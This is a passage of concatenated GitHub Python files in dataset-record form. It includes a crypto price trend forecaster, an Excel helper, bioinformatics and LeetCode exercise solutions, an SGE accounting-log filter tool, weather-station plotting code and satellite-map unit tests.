HttpResponse('Processing...')\r\n","repo_name":"ChrChr50/Neural-Network-Music-Transcription-Web-Application","sub_path":"mysite/music/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"38432421828","text":"import sys\nimport pandas as pd\nimport requests\nimport darts\n\ncharts_url = \"http://localhost:4004/chart/PreDefinedCharts\"\ncrypto_url = \"http://localhost:4004/Crypto/Crypto\"\nresult_url = \"http://localhost:4004/endpoint/CommandResult\"\nheaders = {\n \"Content-Type\": \"application/json;IEEE754Compatible=true\",\n \"Authorization\": \"Basic admin\",\n}\n\nissues = \"\"\n\nticker = None\nstart_date = None\nend_date = None\n\ndef_date = '1970-01-01'\n\nforecast = None\n\nopKey = None\n\ntry:\n\n try:\n opKey = (sys.argv[4])\n except Exception as e:\n print(\"[ERROR] No operation key was given, proceeding without one, please note that you may not able to view the result of the script through the web gui. Exception: \"+str(e))\n issues += \"[ERROR] No operation key was given, proceeding without one, please note that you may not able to view the result of the script through the web gui. Exception: \"+str(e)+\".\\n\"\n\n if opKey == \"undefined\" or opKey == \"null\":\n print(\"[ERROR] No operation key was given, proceeding without one, please note that you may not able to view the result of the script through the web gui.\")\n issues += \"[ERROR] No operation key was given, proceeding without one, please note that you may not able to view the result of the script through the web gui.\\n\"\n\n\n try:\n ticker = (sys.argv[1])\n except:\n print(\"[ERROR] No ticker given, please add a ticker as the first argument.\")\n requests.post(\n result_url,\n json={\n \"command\": \"add_data\",\n \"data\": \"[ERROR] No ticker given, please add a ticker as the first argument.\",\n \"opKey\" : opKey\n },\n headers=headers,\n )\n exit(1)\n\n if ticker == \"undefined\" or ticker == \"null\":\n print(\"[ERROR] No ticker given, please add a ticker as the first argument.\")\n requests.post(\n result_url,\n json={\n \"command\": \"add_data\",\n \"data\": \"[ERROR] No ticker given, please add a ticker as the first argument.\",\n \"opKey\" : opKey\n },\n headers=headers,\n )\n exit(1)\n\n try:\n start_date = (sys.argv[2])\n except Exception as e:\n print(\"[ERROR] No start date given or wrong date or date format given, proceeding with default date as 5 years ago. Exception: \"+str(e))\n issues += \"[ERROR] No start date given or wrong date or date format given, proceeding with default date as 5 years ago Exception: \"+str(e)+\".\\n\"\n start_date = def_date\n\n\n if start_date == \"undefined\" or start_date == \"null\":\n print(\"[ERROR] No start date given or wrong date or date format given, proceeding with default date as 5 years ago.\")\n issues += \"[ERROR] No start date given or wrong date or date format given, proceeding with default date as 5 years ago.\\n\"\n start_date = def_date\n\n\n try:\n end_date = (sys.argv[3])\n except Exception as e:\n print(\"[ERROR] No end date given or wrong date or date format given, proceeding without end date. Exception: \"+str(e))\n issues += \"[ERROR] No end date given or wrong date or date format given, proceeding without end date. Exception: \"+str(e)+\".\\n\"\n end_date = None\n\n\n if end_date == \"undefined\" or end_date == \"null\":\n print(\"[ERROR] No end date given or wrong date or date format given, proceeding without end date.\")\n issues += \"[ERROR] No end date given or wrong date or date format given, proceeding without end date.\\n\"\n end_date = None\n\n\n response_url = (crypto_url+\"?$filter=ticker eq '\" +ticker+\"' and type eq 'real'\" + \" and date ge \"+str(start_date))\n\n if (end_date != None):\n response_url += \" and date le \"+str(end_date) \n\n issues += \";ticker:\"+ticker+\",start_date:\"+str(start_date)+\",end_date:\"+str(end_date)+\";\"\n\n response_url+=\"&$top=5000\"\n\n\n response = requests.get(response_url).text\n\n df = pd.json_normalize(pd.read_json(response)['value'])\n\n rounding_number = 3\n if df['close'].max() < 10:\n rounding_number = 5\n if df['close'].max() > 1000:\n rounding_number = 2\n\n #Range\n\n issues+=\"\\nTotal range: \"+str(round(df['low'].min(),rounding_number))+\" - \"+str(round(df['high'].max(),rounding_number))\n\n #Average\n\n issues+=\"\\nTotal average: \"+str(round(df['close'].sum()/df.shape[0],rounding_number))\n\n if (df.shape[0] >= 10):\n\n #10 day range\n\n issues+=\"\\n10 day range: \"+str(round(df['low'].tail(10).min(),rounding_number))+\" - \"+str(round(df['high'].tail(10).max(),rounding_number))\n\n #10 day average\n\n issues+=\"\\n10 day average: \"+str(round(df['close'].tail(10).sum()/10,rounding_number))\n else:\n print(\"\\n[ERROR] Could not determine 10 day values, as the dataset is smaller than 10.\")\n issues += \"\\n[ERROR] Could not determine 10 day values, as the dataset is smaller than 10.\"\n\n #Trend\n\n df.sort_values(by=[\"date\"],ascending=True,inplace=True)\n\n try:\n series = darts.TimeSeries.from_dataframe(df,time_col=\"date\",value_cols=\"close\")\n from darts.models import LinearRegressionModel\n\n model = LinearRegressionModel(lags=3, output_chunk_length=5)\n\n model.fit(series)\n\n forecast = model.predict(60)\n\n \n\n if (forecast[0]-forecast[59]) < 0:\n issues += \"\\nCurrent trend: upward\\n;\"\n else: \n issues += \"\\nCurrent trend: downward\\n;\"\n\n except Exception as e:\n print(\"\\n[ERROR] Could not determine trend, possibly because the dataset is too small, please provide a larger dataset. Exception: \"+str(e))\n issues += \"\\n[ERROR] Could not determine trend, possibly because the dataset is too small, please provide a larger dataset. Exception: \"+str(e)+\"\\n;\"\n\n if isinstance(forecast, darts.timeseries.TimeSeries):\n forecast = forecast.pd_dataframe()\n idx = pd.date_range(df['date'].tail(1).to_string(index=False), periods=61)\n idx = idx.delete(0)\n for x in range(60):\n issues += str(idx[x].date() )+\":\"+str(forecast.iloc[x]['close']) +\",\"\n \n requests.post(\n result_url,\n json={\n \"command\": \"analysis\",\n \"data\": issues,\n \"opKey\" : opKey\n },\n headers=headers,\n )\nexcept Exception as e:\n print(\"[ERROR] Fatal error encountered during the running of the script: \"+str(e))\n requests.post(\n result_url,\n json={\n \"command\": \"add_data\",\n \"data\": \"[ERROR] Fatal error encountered during the running of the script: \"+str(e),\n \"opKey\" : opKey\n },\n headers=headers,\n )","repo_name":"mamutuberalles/szakdoga_2023","sub_path":"python_scripts/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":6851,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"5927118184","text":"#-*- endcoding:utf-8\r\nfrom openpyxl import load_workbook\r\nfrom openpyxl.styles import PatternFill\r\nfrom common.data.global_value import colorSingleton\r\nclass exceOperation(object):\r\n\r\n def __init__(self, file_path):\r\n self.file_path = file_path\r\n self.wb = load_workbook(file_path)\r\n self.colorSingleton = colorSingleton()\r\n\r\n def open_sheet(self, sheet_name):\r\n '''\r\n 打开sheet页\r\n :param sheet_name: sheet页的名称\r\n :return:\r\n '''\r\n self.st = self.wb[sheet_name]\r\n return self.st\r\n\r\n def get_value(self, cellNum):\r\n '''\r\n 获取cell的值\r\n '''\r\n return cellNum.value\r\n\r\n def get_cell_location(self, value):\r\n return \"%s%d\" % (value.coordinate, value.column)\r\n\r\n def set_cell_color(self, value):\r\n fill = PatternFill(\"solid\", fgColor=self.colorSingleton.realityColor)\r\n value.fill = fill\r\n self.wb.save(self.file_path)\r\n\r\nif __name__ == \"__main__\":\r\n fileP = r\"D:\\接口\\Test_UI\\data\\lane\\test.xlsx\"\r\n sheetN = \"Sheet1\"\r\n ex = exceOperation(fileP)\r\n ex.get_datas(sheetN)\r\n reader = ex.get_readers()\r\n for i, j in reader.items():\r\n if i.value == \"laneNum\":\r\n ex.set_faile(i)\r\n","repo_name":"zhangyunf/Test_UI","sub_path":"common/util/excel_operation.py","file_name":"excel_operation.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"72515084375","text":"# rosalind_17_LCSM\n#\n# Finding a Shared Motif\n# https://rosalind.info/problems/lcsm/\n#\n# Given: A collection of k (k≤100) DNA strings of length at most 1 kbp each in FASTA format.\n# Return: A longest common substring of the collection. (If multiple solutions exist, you may return any single solution.)\n\n\ndef parsing(file_path):\n\n with open(file_path) as inFile:\n\n headers, seqs = [], []\n for line in inFile.readlines():\n if line.startswith(\">\"):\n headers.append(line[1:].strip())\n seqs.append(\"\")\n else: # seqeunce\n seqs[-1] += line.strip()\n\n return headers, seqs\n\n# 1번 서열을 기준으로, 큰 부분부터 조각내서 다른 서열에 있는지 비교\nif __name__ == \"__main__\":\n\n headers, seqs = parsing(\"./datasets/rosalind_lcsm.txt\")\n lcs_flag = False\n lcs = \"\"\n\n for i in range(len(seqs[0]), 0, -1): # 10, 9, 8, 7, ...\n if lcs_flag == True:\n break\n\n for j in range(len(seqs[0]) - i + 1): # sequence slicing start point, 0 1 2 3 4 5 6\n count = 0\n for k in range(len(seqs)): # find motif\n if seqs[0][j : j+i] in seqs[k]:\n count += 1\n else:\n break\n if count == len(seqs): # if motif is in all sequence\n lcs = seqs[0][j : j+i]\n lcs_flag = True\n break\n\n with open(\"./answers/roslaind_lcsm_outFile.txt\", \"w\") as outFile:\n print(lcs, file=outFile)\n","repo_name":"jmanlee/practice-rosalind","sub_path":"code/Bioinformatics-stronghold/17_LCSM.py","file_name":"17_LCSM.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"25819926432","text":"#leetcode\n#https://leetcode.com/problems/letter-case-permutation/description/\n\n#For each character in a string, we need to return two copies: one in which the letter is lowercase, and one in which it is uppercase\n\n#[a1b]\n# ^\n#[\"a\", \"A\"]\n\n#[a1b]\n# ^\n#[\"a1\", \"A1\"]\n\n#[a1b]\n# ^\n#[\"a1b\", \"A1b\", \"a1B\", \"A1B\"]\n\n#Initialize a solutions array\n#Iterate through the given string\n #If there are no entries in the solution array\n #If it is a number\n #Append the number to the solutions array\n #Else\n #Append two copies of the letter to the solutions array, one uppercase and one lowercase\n #Else (if there is at least one entry)\n #If it is a number\n #Iterate through all entries in the solution array, and append the number to them\n #If it is a character\n #Iterate through all entries in the solution array\n #Create a copy of the entry, add an uppercase letter to the end of it, and append that entry to the solutions array\n #Add the lowercase character to the entry you are looking at\n#Return the solutions array\n\nclass Solution:\n def letterCasePermutation(self, S):\n \"\"\"\n :type S: str\n :rtype: List[str]\n \"\"\"\n if (len(S) == 0):\n return [\"\"]\n solutionsArray = []\n #.isalpha returns False if it's a number, and True if it's a letter\n if (S[0].isalpha() == False):\n solutionsArray.append(S[0])\n else:\n solutionsArray.append(S[0].lower())\n solutionsArray.append(S[0].upper())\n for i in range(1, len(S)):\n if (S[i].isalpha() == False):\n for j in range(0, len(solutionsArray)):\n solutionsArray[j] = solutionsArray[j] + S[i]\n else:\n for j in range(0, len(solutionsArray)):\n solutionsArray.append(solutionsArray[j] + S[i].upper())\n solutionsArray[j] = solutionsArray[j] + S[i].lower()\n return solutionsArray\n\nourSolution = Solution()\nsampleString = \"a1b2\"\nprint(ourSolution.letterCasePermutation(sampleString))\n","repo_name":"joeyzoland/2018_Algos","sub_path":"LetterCasePermutations_5-21-18.py","file_name":"LetterCasePermutations_5-21-18.py","file_ext":"py","file_size_in_byte":2138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"74273146457","text":"import pyclesperanto_prototype as cle\nimport numpy as np\n\nsource = np.asarray([[0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0]])\nreference = np.asarray([[0, 1, 0, 2, 0, 0, 3, 4, 0, 0, 5, 0]])\n\ndef block_enum(source, blocksize):\n flagged_indices = cle.push(source)\n max_label = source.shape[1] - 1\n\n block_sums = cle.create([1, int((int(max_label) + 1) / blocksize) + 1])\n cle.sum_reduction_x(flagged_indices, block_sums, blocksize)\n\n # distribute new numbers\n new_indices = cle.create([1, int(max_label) + 1])\n cle.block_enumerate(flagged_indices, block_sums, new_indices, blocksize)\n\n return cle.pull(new_indices)\n\ndef test_block_enumerate():\n result = block_enum(source, 4)\n print(result)\n print(reference)\n assert np.array_equal(result, reference)\n\n result = block_enum(source, 2)\n print(result)\n print(reference)\n assert np.array_equal(result, reference)","repo_name":"clEsperanto/pyclesperanto_prototype","sub_path":"tests/test_block_enumerate.py","file_name":"test_block_enumerate.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","stars":171,"dataset":"github-code","pt":"68"} +{"seq_id":"29381115144","text":"\ndef partitionswithequalsubsetsum(nums):\n '''\n :param nums: list of numbers\n :return: Whether or not the list can be partitioned into subsets with equal sum\n >>> partitionswithequalsubsetsum([1,2,3,4])\n True\n >>> partitionswithequalsubsetsum([1,1,3,4,7])\n True\n >>> partitionswithequalsubsetsum([2,3,4,6])\n False\n '''\n\n def hassubsetwithtargetsum(index, target):\n\n if target == 0:\n return 1\n\n if index == len(nums):\n return 0\n\n if cache[index][target] != -1:\n return cache[index][target]\n\n n = nums[index]\n\n result = hassubsetwithtargetsum(index + 1, target)\n\n if n <= target:\n result |= hassubsetwithtargetsum(index + 1, target - n)\n\n cache[index][target] = result\n\n return result\n\n total = sum(nums)\n\n if total % 2 != 0:\n return False\n\n target = total // 2\n\n cache = [[-1 for x in range(target+1)] for y in range(len(nums))]\n\n return hassubsetwithtargetsum(0, target) == 1\n\nif __name__ == '__main__':\n import doctest\n doctest.testmod()\n","repo_name":"justanotheratom/Algorithms","sub_path":"Python/DynamicProgramming/ZeroOneKnapsack/PartitionsWithEqualSubsetSum/partitionswithequalsubsetsum_topdown.py","file_name":"partitionswithequalsubsetsum_topdown.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"9786041604","text":"#!/usr/bin/env python\nfrom __future__ import print_function\n\n\"\"\"Parses the sge accounting log\"\"\"\n\nimport pkg_resources\n\nimport sys\nimport re\nimport operator\nimport optparse\nimport itertools\nimport functools\nimport string\nimport dateutil, dateutil.parser\n\nimport qutiepy.sge_accounting\nimport qutiepy.filter.BaseTypes\nimport qutiepy.filter.Parser\n\nclass SGEOption(optparse.Option):\n pass\n\nclass SGEFilterOption(SGEOption):\n def take_action(self, action, dest, opt, value, values, parser):\n filter_stack = values.ensure_value('filter', qutiepy.filter.FilterStack())\n\n self.filter_action(filter_stack, action, dest, opt, value, values, parser)\n\nclass SGEAndOption(SGEFilterOption):\n def __init__(self):\n SGEFilterOption.__init__(self, '--and', action='store_true',\n help='Group actions together using and')\n\n def filter_action(self, filter_stack, actio, dest, opt, value, values, parser):\n filter_stack.push(qutiepy.filter.AndFilter())\n\nclass SGEOrOption(SGEFilterOption):\n def __init__(self):\n SGEFilterOption.__init__(self, '--or', metavar=None, action='store_true',\n help='Group actions together using or')\n\n def filter_action(self, filter_stack, actio, dest, opt, value, values, parser):\n filter_stack.push(qutiepy.filter.OrFilter())\n\nclass SGENotOption(SGEFilterOption):\n def __init__(self):\n SGEFilterOption.__init__(self, '--not', metavar=None, action='store_true',\n help='Group actions together using not')\n\n def filter_action(self, filter_stack, actio, dest, opt, value, values, parser):\n filter_stack.push(qutiepy.filter.NotFilter())\n\nclass SGEGroupEndOption(SGEFilterOption):\n def __init__(self):\n SGEFilterOption.__init__(self, '--ge', metavar=None, action='store_true',\n help='End a grouping of actions')\n\n def filter_action(self, filter_stack, actio, dest, opt, value, values, parser):\n filter_stack.pop()\n\nclass SGEGlobOption(SGEFilterOption):\n def __init__(self, long, field_name):\n SGEFilterOption.__init__(self, long,\n help= 'glob to filter by %s' % field_name)\n self.field_name = field_name\n\n def filter_action(self, filter_stack, action, dest, opt, value, values, parser):\n filter_stack.add_filter(qutiepy.filter.GlobFilter(self.field_name, value))\n\nclass SGEAfterOption(SGEFilterOption):\n def __init__(self, long, field_name):\n SGEFilterOption.__init__(self, long, nargs=1,\n help='filter to match records after a specific time')\n self.field_name = field_name\n\n def filter_action(self, filter_stack, action, dest, opt, value, values, parser):\n ti = dateutil.parser.parse(value)\n filter_stack.add_filter(\n qutiepy.filter.PredicateFilter(self.field_name,\n functools.partial(operator.le, ti)))\n\nclass SGEBeforeOption(SGEFilterOption):\n def __init__(self, long, field_name):\n SGEFilterOption.__init__(self, long, nargs=1,\n help='filter to match records before a specific time')\n self.field_name = field_name\n\n def filter_action(self, filter_stack, action, dest, opt, value, values, parser):\n ti = dateutil.parser.parse(value)\n filter_stack.add_filter(\n qutiepy.filter.PredicateFilter(self.field_name,\n functools.partial(operator.ge, ti)))\n\nclass SGERangeOption(SGEFilterOption):\n PATTERN = re.compile(r\"\"\"\n \\s*\n (?:\n (?:(?P[0-9]+)\\s*[.]{2}\\s*(?P[0-9]+))\n |\n (?:(?P[0-9]+)\\s*[.]{2})\n |\n (?:[.]{2}\\s*(?P[0-9]+))\n |\n (?P[0-9]+)\n )\n \\s*,?\n \"\"\",\n re.VERBOSE)\n\n def __init__(self, long, field_name):\n SGEFilterOption.__init__(self, long, nargs=0,\n help='specify a list of value ranges for %s' % field_name)\n self.field_name = field_name\n\n def floatable(str):\n try:\n float(str)\n return True\n except ValueError:\n return False\n\n def filter_action(self, filter_stack, action, dest, opt, value, values, parser):\n # grab all of the values up to the next option\n args = []\n count = 0\n for arg in parser.rargs:\n if arg[:2] == \"--\" and len(arg) > 2:\n break\n\n if arg[:1] == '-' and len(arg) > 1 and not floatable(arg):\n break\n\n count += 1\n args.append(arg)\n\n del parser.rargs[:count]\n\n filters = qutiepy.filter.PredicateFilter(self.field_name)\n for match in SGERangeOption.PATTERN.finditer(''.join(args)):\n d = match.groupdict()\n\n val = d['val']\n if val:\n filters.append(functools.partial(operator.eq, float(val)))\n continue\n\n val = d['min']\n if val:\n filters.append(functools.partial(operator.le, float(val)))\n continue\n\n val = d['max']\n if val:\n filters.append(functools.partial(operator.ge, float(val)))\n continue\n\n else:\n begin = d['begin']\n end = d['end']\n\n filters.append(\n functools.partial(lambda begin,end,val: begin <= val and val <= end, float(begin), float(end)))\n\n if len(filters) > 0:\n filter_stack.add_filter(filters)\n\nDEFAULT_TEMPLATE = \"\"\"\\\n==============================================================\nqname $qname\nhostname $hostname\ngroup $group\nowner $owner\nproject $project\ndepartment $department\njobname $job_name\njobnumber $job_number\ntaskid $task_number\npe_taskid $pe_taskid\naccount $account\npriority $priority\nqsub_time $submission_time\nstart_time $start_time\nend_time $end_time\nwaiting_time $waiting_time\naggregate_time $aggregate_time\ngranted_pe $granted_pe\nslots $slots\nfailed $failed_with_message\nexit_status $exit_status\nru_wallclock $ru_wallclock\nru_utime $ru_utime\nru_stime $ru_stime\nru_maxrss $ru_maxrss\nru_ixrss $ru_ixrss\nru_ismrss $ru_ismrss\nru_idrss $ru_idrss\nru_isrss $ru_isrss\nru_minflt $ru_minflt\nru_majflt $ru_majflt\nru_nswap $ru_nswap\nru_inblock $ru_inblock\nru_oublock $ru_oublock\nru_msgsnd $ru_msgsnd\nru_msgrcv $ru_msgrcv\nru_nsignals $ru_nsignals\nru_nvcsw $ru_nvcsw\nru_nivcsw $ru_nivcsw\ncpu $cpu\nmem $mem\nio $io\niow $iow\nmaxvmem $maxvmem\narid $arid\n\"\"\"\n\ndef action_firstMatch(templ, records):\n r = next(records, False)\n\n if r:\n print(templ.substitute(r))\n return True\n\n return False\n\ndef action_formatAll(templ, records):\n matched = 0\n\n for r in records:\n print(templ.substitute(r))\n matched += 1\n\n if matched > 0:\n print(\"Matched %s records\" % matched, file=sys.stderr)\n return True\n\n return False\n\ndef action_lastMatch(templ, records):\n matched = None\n for r in records:\n matched = r\n\n if matched:\n print(templ.substitute(r))\n return True\n\n return False\n\ndef main():\n parser = optparse.OptionParser(option_class=SGEOption,\n usage=\"usage: %prog [options]\", version='%%prog %s' % pkg_resources.require(\"qutiepy\")[0].version)\n\n parser.add_option('--first-match', action='store_const', dest='action', const=action_firstMatch,\n help='Only display the first record which matches')\n parser.add_option('--last-match', action='store_const', dest='action', const=action_lastMatch,\n help='Only display the last record which matches')\n parser.add_option('--dry-run', action='store_true', default=False, dest='dry_run',\n help='Only helpful for debugging, just prepairs to walk the file but never actually does anything')\n\n group = optparse.OptionGroup(parser, \"Grouping Predicates\",\n \"Filter rows by field values. Filters are grouped using prefix notation, \"\n \"by default a row must match all filters to be printed.\")\n\n group.add_option(SGEAndOption())\n group.add_option(SGEOrOption())\n group.add_option(SGENotOption())\n group.add_option(SGEGroupEndOption())\n parser.add_option_group(group)\n\n group = optparse.OptionGroup(parser, 'Time Filters',\n \"Filter on time based fields by giving a date\")\n\n group.add_option(SGEBeforeOption('--submitted-before', 'submission_time'))\n group.add_option(SGEAfterOption('--submitted-after', 'submission_time'))\n group.add_option(SGEBeforeOption('--started-before', 'start_time'))\n group.add_option(SGEAfterOption('--started-after', 'start_time'))\n group.add_option(SGEBeforeOption('--ended-before', 'end_time'))\n group.add_option(SGEAfterOption('--ended-after', 'end_time'))\n parser.add_option_group(group)\n\n group = optparse.OptionGroup(parser, 'Glob Filters',\n \"Match fields using unix style globing\")\n\n group.add_option(SGEGlobOption('--queue', 'qname'))\n group.add_option(SGEGlobOption('--host', 'hostname'))\n group.add_option(SGEGlobOption('--group', 'group'))\n group.add_option(SGEGlobOption('--owner', 'owner'))\n group.add_option(SGEGlobOption('--job', 'job_name'))\n group.add_option(SGEGlobOption('--granted-pe', 'granted_pe'))\n parser.add_option_group(group)\n\n group = optparse.OptionGroup(parser, 'Range Filters',\n \"Filter field by specifiying ranges of numeric values. \"\n \"...NUM is less than or equal to NUM, NUM is equal to a number, \"\n \"NUM..NUM is every value between the two numbers including the endpoints, \"\n \"NUM... is every value greater than or equal to NUM\")\n\n group.add_option(SGERangeOption('--job-number', 'job_number'))\n group.add_option(SGERangeOption('--exit-status', 'exit_status'))\n group.add_option(SGERangeOption('--slots', 'slots'))\n parser.add_option_group(group)\n\n group = optparse.OptionGroup(parser, \"format\", \"\"\n \"available field names: \" +\n ', '.join(qutiepy.sge_accounting.SGEAccountingRow.fields()))\n\n group.add_option('--header', action='store_true', dest='print_header', default=False,\n help=\"Print the format string out before the first record as a header\")\n group.add_option('--format', action='store', default=DEFAULT_TEMPLATE, dest='output_template',\n help=\"Format the output by using template strings. $$ will be replaced by a $. \"\n \"$var_name or ${var_name} will be replaced by the value from matched records.\")\n group.add_option('--filter', action='store', default=None, dest='str_filter')\n\n parser.add_option_group(group)\n (options, args) = parser.parse_args()\n\n if options.dry_run:\n print('This is a test it was only a test.')\n sys.exit(0)\n\n account = qutiepy.sge_accounting.SGEAccountingFile()\n\n\n str_filter = getattr(options, 'str_filter', None)\n if str_filter:\n p = qutiepy.filter.Parser.Parser()\n filter = p.parse(str_filter)\n else:\n filter = getattr(options, 'filter', None)\n\n if filter:\n records = itertools.ifilter(filter, account)\n else:\n records = iter(account)\n\n try:\n templ = string.Template(options.output_template)\n\n if options.print_header:\n print(options.output_template)\n\n action = action_formatAll\n if options.action:\n action = options.action\n\n if action(templ, records):\n sys.exit(0)\n\n else:\n print('No matching records', file=sys.stderr)\n sys.exit(1)\n\n except IndexError as ex:\n print('Malformed format option', ex[0], file=sys.stderr)\n sys.exit(2)\n\n except KeyboardInterrupt:\n sys.exit(0)\n\nif __name__ == '__main__':\n main()\n","repo_name":"xzy3/qutiepy","sub_path":"qutiepy/entry/qmet.py","file_name":"qmet.py","file_ext":"py","file_size_in_byte":11949,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"} +{"seq_id":"1250195474","text":"import os\nimport matplotlib.pyplot as plt\n\nfrom avgvsstd.tudelftplot import tudelftplot\nfrom avgvsstd.knmi1hrplot import knmi1hrplot\nfrom avgvsstd.knmi10minplot import knmi10minplot\n\n\ndef make_avgvsstd_plots(source_config_dict, plot_config):\n\n plot_title = plot_config['plot_title']\n date_range = plot_config['date_range']\n\n # gather plotting data here\n plot_data = {}\n \n if 'tudelft' in source_config_dict:\n plot_data = tudelftplot(source_config_dict['tudelft'], date_range, plot_data)\n\n if 'knmi1hr' in source_config_dict:\n plot_data = knmi1hrplot(source_config_dict['knmi1hr'], date_range, plot_data)\n\n if 'knmi10min' in source_config_dict:\n plot_data = knmi10minplot(source_config_dict['knmi10min'], date_range, plot_data)\n\n make_images(plot_data, date_range, plot_title)\n\n\ndef make_images(plot_data, date_range, plot_title):\n\n # create individual plots for each weather_station comparing it to\n for weather_station, fit_dict in plot_data.items():\n\n # get filename\n filename = '_'.join([weather_station, plot_title, *date_range]) + '.png'\n filename = filename.replace(\" \", \"\").lower()\n # start plot\n plt.figure()\n plt.scatter(fit_dict['stdspeed'], fit_dict['avgspeed'], label='Weather station data')\n plt.xlabel('Standard deviation (m/s)')\n plt.ylabel('Average speed (m/s)')\n\n #plt.legend() \n plt.title(f'{weather_station} weather station \\n from {date_range[0]} to {date_range[1]}')\n plt.savefig(os.path.join('images', filename))\n plt.close()\n\n ","repo_name":"amorfinv/plot_weather_station_data","sub_path":"avgvsstd/avgvsstd.py","file_name":"avgvsstd.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"39435598150","text":"# Disabling missing-class-docstring, pointless-statement, redefined-builtin and\n# and bare-except\n# pylint: disable = C0115, W0104, W0622, W0702\nimport pytest\nimport json\nimport asdf\nimport zipfile\nimport numpy as np\nfrom io import BytesIO\nfrom aigeanpy import satmap\nfrom pathlib import Path\nfrom unittest import mock, TestCase\n\n\ndef test_get_satmap_return_correct_type_when_input_Lir():\n filename = 'aigean_lir_20230104_145310.asdf'\n lir = satmap.get_satmap(filename)\n assert isinstance(lir, satmap.SatMap)\n\n\ndef test_get_satmap_return_correct_type_when_input_Fand():\n filename = 'aigean_fan_20230104_150010.zip'\n fand = satmap.get_satmap(filename)\n assert isinstance(fand, satmap.SatMap)\n\n\ndef test_get_satmap_return_correct_type_when_input_Manannan():\n filename = 'aigean_man_20221205_194510.hdf5'\n man = satmap.get_satmap(filename)\n assert isinstance(man, satmap.SatMap)\n\n\ndef test_get_satmap_return_SatMap_object_with_correct_meta_data_Lir():\n filename = 'aigean_lir_20230104_145310.asdf'\n lir = satmap.get_satmap(filename)\n dict = {'archive': 'ISA', 'instrument': 'Lir', 'observatory': 'Aigean',\n 'resolution': 30, 'xcoords': (100, 700), 'ycoords': (0, 300),\n 'obs_date': '2023-01-04 14:53:10'}\n assert lir.meta == dict\n\n\ndef test_get_satmap_return_SatMap_object_with_correct_meta_data_Fand():\n filename = 'aigean_fan_20230104_150010.zip'\n fand = satmap.get_satmap(filename)\n dict = {'archive': 'ISA', 'instrument': 'Fand', 'observatory': 'Aigean',\n 'resolution': 5, 'xcoords': (450, 675), 'ycoords': (150, 200),\n 'obs_date': '2023-01-04 15:00:10'}\n\n assert fand.meta == dict\n\n\ndef test_get_satmap_return_SatMap_object_with_correct_meta_data_Man():\n filename = 'aigean_man_20221205_194510.hdf5'\n man = satmap.get_satmap(filename)\n dict = {'archive': '', 'instrument': 'Manannan', 'observatory': 'Aigean',\n 'resolution': 15, 'xcoords': (750, 1200), 'ycoords': (250, 400),\n 'obs_date': '2022-12-05 19:45:10'}\n\n assert man.meta == dict\n\n\ndef test_SatMapFactory_raise_ValueError_when_input_filename_cannot_match():\n filename = 'test.asdf'\n with pytest.raises(ValueError) as err:\n test = satmap.get_satmap(filename)\n\n\ndef test_earth_to_pixel_return_correct_value():\n x = 750\n y = 250\n resolution = 15\n assert satmap.earth_to_pixel(x, y, resolution) == (50, 17)\n\n\ndef test_pixel_to_earth_return_correct_value():\n x = 75\n y = 25\n resolution = 15\n assert satmap.pixel_to_earth(x, y, resolution) == (1125, 375)\n\n\ndef test_SatMap_generate_correct_fov_attribute_value():\n xcoords = (750, 1200)\n ycoords = (250, 400)\n expected_val_x = xcoords[1] - xcoords[0]\n expected_val_y = ycoords[1] - ycoords[0]\n expected = (expected_val_x, expected_val_y)\n\n filename = 'aigean_man_20221205_194510.hdf5'\n man = satmap.get_satmap(filename)\n actual = man.fov\n assert actual == expected\n\n\ndef test_SatMap_generate_correct_centre_attribute_value():\n xcoords = (750, 1200)\n ycoords = (250, 400)\n expected_val_x = int((xcoords[1] + xcoords[0])/2)\n expected_val_y = int((ycoords[1] + ycoords[0])/2)\n expected = (expected_val_x, expected_val_y)\n\n filename = 'aigean_man_20221205_194510.hdf5'\n man = satmap.get_satmap(filename)\n actual = man.centre\n assert actual == expected\n\n\ndef test_SatMap_generate_correct_shape_attribute_value():\n expected = (10, 30)\n filename = 'aigean_man_20221205_194510.hdf5'\n man = satmap.get_satmap(filename)\n actual = man.shape\n assert actual == expected\n\n# Tests for SatMap function by using mock SatMap object fand and lir\n\n\ndef _get_fand(filename):\n file_path_abs = sorted(Path().rglob(filename))[0]\n meta = {}\n data = []\n with zipfile.ZipFile(file_path_abs, 'r') as f:\n file_json = json.load(BytesIO(f.read(f.namelist()[0])))\n meta = _meta_generate(file_json)\n data = np.load(BytesIO(f.read(f.namelist()[1])))\n return satmap.Fand(meta, data)\n\n\ndef _get_lir(filename):\n file_path_abs = sorted(Path().rglob(filename))[0]\n meta = {}\n data = []\n with asdf.open(file_path_abs, 'r') as f:\n meta = _meta_generate(f)\n data = np.array(f['data'])\n return satmap.Lir(meta, data)\n\n\ndef _meta_generate(meta_origin):\n meta = {}\n # meta contain following keys\n meta_list = ['archive', 'instrument', 'observatory', 'resolution',\n 'xcoords', 'ycoords']\n for key in meta_list:\n # update the information to the meta\n try:\n meta.update({key: meta_origin[key]})\n # update with an empty value if the file do not contain the key\n except: # noqa\n meta.update({key: ''})\n\n # change coords into tuple, the type of each element is int\n meta['xcoords'] = tuple(map(int, meta['xcoords']))\n meta['ycoords'] = tuple(map(int, meta['ycoords']))\n # combine the date and time\n\n date = f\"{meta_origin['date']} {meta_origin['time']}\"\n meta.update({'obs_date': date})\n return meta\n\n\nclass Ecne:\n pass\n\n\ndef test_add_two_differetn_types_data_raise_TypeError():\n fand_file = 